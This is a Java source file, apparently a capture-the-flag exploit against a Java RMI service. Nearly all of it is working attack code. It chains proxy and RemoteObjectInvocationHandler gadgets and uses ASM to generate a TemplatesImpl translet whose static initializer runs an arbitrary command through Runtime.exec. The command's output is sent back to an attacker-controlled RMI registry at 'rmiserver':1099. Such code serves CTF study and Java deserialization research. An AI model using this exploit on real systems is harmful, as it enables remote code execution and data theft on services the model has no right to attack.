package com.ctf.threermi;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.xml.internal.ws.org.objectweb.asm.ClassWriter;
import com.sun.xml.internal.ws.org.objectweb.asm.MethodVisitor;
import com.sun.xml.internal.ws.org.objectweb.asm.Opcodes;

import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.rmi.server.RemoteRef;

public class Exploit implements UserInter {
    public RemoteRef ref;
    public String name;
    public String command;

    public Object getStage1Gadget(String ignored) throws Throwable {
        if (!ignored.equalsIgnoreCase("yxxx")) {
            System.out.println(">>> " + ignored);
            return "";
        }

        RemoteObjectInvocationHandler invocationHandler = new RemoteObjectInvocationHandler(ref);

        Object userProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{UserInter.class}, new MyInvocationHandler());
        Class<? extends UserInter> proxy = userProxy.getClass().asSubclass(UserInter.class);
        Constructor<? extends UserInter> proxyCtor = proxy.getDeclaredConstructor(InvocationHandler.class);
        proxyCtor.setAccessible(true);

        Gadget gadget = new Gadget();
        gadget.user = proxyCtor.newInstance(invocationHandler);
        gadget.mName = "newTransformer";
        return gadget;
    }

    public Object getStage2Gadget() throws Throwable {
        Object factoryProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{FactoryInter.class, Remote.class}, new MyInvocationHandler());
        Class<? extends FactoryInter> factoryProxyClass = factoryProxy.getClass().asSubclass(FactoryInter.class);
        Constructor<? extends FactoryInter> factoryProxyCtor = factoryProxyClass.getDeclaredConstructor(InvocationHandler.class);
        factoryProxyCtor.setAccessible(true);

        MyInvocationHandler invocationHandler = new MyInvocationHandler();
        invocationHandler.object = factoryProxyCtor.newInstance(new RemoteObjectInvocationHandler(ref));

        Object friendProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Friend.class, Templates.class}, new MyInvocationHandler());
        Class<? extends Friend> friendProxyClass = friendProxy.getClass().asSubclass(Friend.class);
        Constructor<? extends Friend> friendProxyCtor = friendProxyClass.getDeclaredConstructor(InvocationHandler.class);
        friendProxyCtor.setAccessible(true);

        return friendProxyCtor.newInstance(invocationHandler);
    }

    public Object getStage3Gadget() throws Throwable {
        ClassWriter cw = new ClassWriter(0);
        cw.visit(Opcodes.V1_6, Opcodes.ACC_PUBLIC + Opcodes.ACC_SUPER, "blue/perfect/Pwned" + System.currentTimeMillis(), null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null);

        {
            MethodVisitor mv = cw.visitMethod(Opcodes.ACC_PUBLIC | Opcodes.ACC_STATIC, "<clinit>", "()V", null, null);
            mv.visitCode();
            mv.visitTypeInsn(Opcodes.NEW, "java/lang/String");
            mv.visitInsn(Opcodes.DUP);
            mv.visitVarInsn(Opcodes.ASTORE, 0);
            mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;");
            mv.visitLdcInsn(command);
            mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;");
            mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Process", "getInputStream", "()Ljava/io/InputStream;");
            mv.visitLdcInsn(-1);
            mv.visitLdcInsn(true);
            mv.visitMethodInsn(Opcodes.INVOKESTATIC, "sun/misc/IOUtils", "readFully", "(Ljava/io/InputStream;IZ)[B");
            mv.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/lang/String", "<init>", "([B)V");
            mv.visitLdcInsn("rmiserver");
            mv.visitLdcInsn(1099);
            mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/rmi/registry/LocateRegistry", "getRegistry", "(Ljava/lang/String;I)Ljava/rmi/registry/Registry;");
            mv.visitLdcInsn(name);
            mv.visitMethodInsn(Opcodes.INVOKEINTERFACE, "java/rmi/registry/Registry", "lookup", "(Ljava/lang/String;)Ljava/rmi/Remote;");
            mv.visitTypeInsn(Opcodes.CHECKCAST, "com/ctf/threermi/UserInter");
            mv.visitVarInsn(Opcodes.ALOAD, 0);
            mv.visitMethodInsn(Opcodes.INVOKEINTERFACE, "com/ctf/threermi/UserInter", "sayHello", "(Ljava/lang/String;)Ljava/lang/String;");
            mv.visitInsn(Opcodes.POP);
            mv.visitInsn(Opcodes.RETURN);
            mv.visitMaxs(10, 10);
            mv.visitEnd();
        }
        {
            MethodVisitor mv = cw.visitMethod(Opcodes.ACC_PUBLIC, "<init>", "()V", null, null);
            mv.visitCode();
            mv.visitVarInsn(Opcodes.ALOAD, 0);
            mv.visitMethodInsn(Opcodes.INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "<init>", "()V");
            mv.visitInsn(Opcodes.RETURN);
            mv.visitMaxs(1, 1);
            mv.visitEnd();
        }

        cw.visitEnd();

        TemplatesImpl impl = new TemplatesImpl();

        Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        bytecodesField.set(impl, new byte[][]{cw.toByteArray()});

        Field nameField = TemplatesImpl.class.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(impl, "Pwned");

        Field tfactoryField = TemplatesImpl.class.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(impl, new TransformerFactoryImpl());

        return impl;
    }

    @Override
    public String sayHello(String name) throws RemoteException {
        return null;
    }

    @Override
    public Friend getGirlFriend() throws RemoteException {
        return null;
    }
}
